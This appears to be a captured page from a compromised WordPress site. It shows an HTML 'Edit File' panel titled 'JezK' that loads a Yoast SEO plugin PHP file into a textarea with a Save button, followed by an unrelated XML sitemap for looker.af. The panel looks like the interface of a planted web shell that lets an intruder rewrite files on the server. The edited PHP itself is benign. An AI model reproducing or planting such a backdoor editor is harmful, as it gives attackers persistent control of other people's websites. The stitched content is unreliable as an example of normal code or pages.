
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-schema-person-upgrade-notification.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Notifies the user to update the Search Appearance settings when the site is set to represent a Person,
 * but no person (name) has been chosen.
 */
class WPSEO_Schema_Person_Upgrade_Notification implements WPSEO_WordPress_Integration {

	/**
	 * Registers all hooks to WordPress
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( &#039;admin_init&#039;, [ $this, &#039;handle_notification&#039; ] );
	}

	/**
	 * Handles if the notification should be added or removed.
	 *
	 * @return void
	 */
	public function handle_notification() {
		$company_or_person_user_id = WPSEO_Options::get( &#039;company_or_person_user_id&#039;, false );
		if ( WPSEO_Options::get( &#039;company_or_person&#039; ) === &#039;person&#039; &amp;&amp; empty( $company_or_person_user_id ) ) {
			$this-&gt;add_notification();
			return;
		}

		$this-&gt;remove_notification();
	}

	/**
	 * Adds a notification to the notification center.
	 *
	 * @return void
	 */
	protected function add_notification() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_center-&gt;add_notification( $this-&gt;get_notification() );
	}

	/**
	 * Removes a notification to the notification center.
	 *
	 * @return void
	 */
	protected function remove_notification() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_center-&gt;remove_notification( $this-&gt;get_notification() );
	}

	/**
	 * Gets the notification object.
	 *
	 * @return Yoast_Notification
	 */
	protected function get_notification() {
		$message = sprintf(
			/* translators: %1$s is a link start tag to the Search Appearance settings, %2$s is the link closing tag. */
			__( &#039;You have previously set your site to represent a person. We’ve improved our functionality around Schema and the Knowledge Graph, so you should go in and %1$scomplete those settings%2$s.&#039;, &#039;wordpress-seo&#039; ),
			&#039;&lt;a href=&quot;&#039; . esc_url( admin_url( &#039;admin.php?page=wpseo_page_settings#/site-representation&#039; ) ) . &#039;&quot;&gt;&#039;,
			&#039;&lt;/a&gt;&#039;
		);

		$notification = new Yoast_Notification(
			$message,
			[
				&#039;type&#039;         =&gt; Yoast_Notification::WARNING,
				&#039;id&#039;           =&gt; &#039;wpseo-schema-person-upgrade&#039;,
				&#039;capabilities&#039; =&gt; &#039;wpseo_manage_options&#039;,
				&#039;priority&#039;     =&gt; 0.8,
			]
		);

		return $notification;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
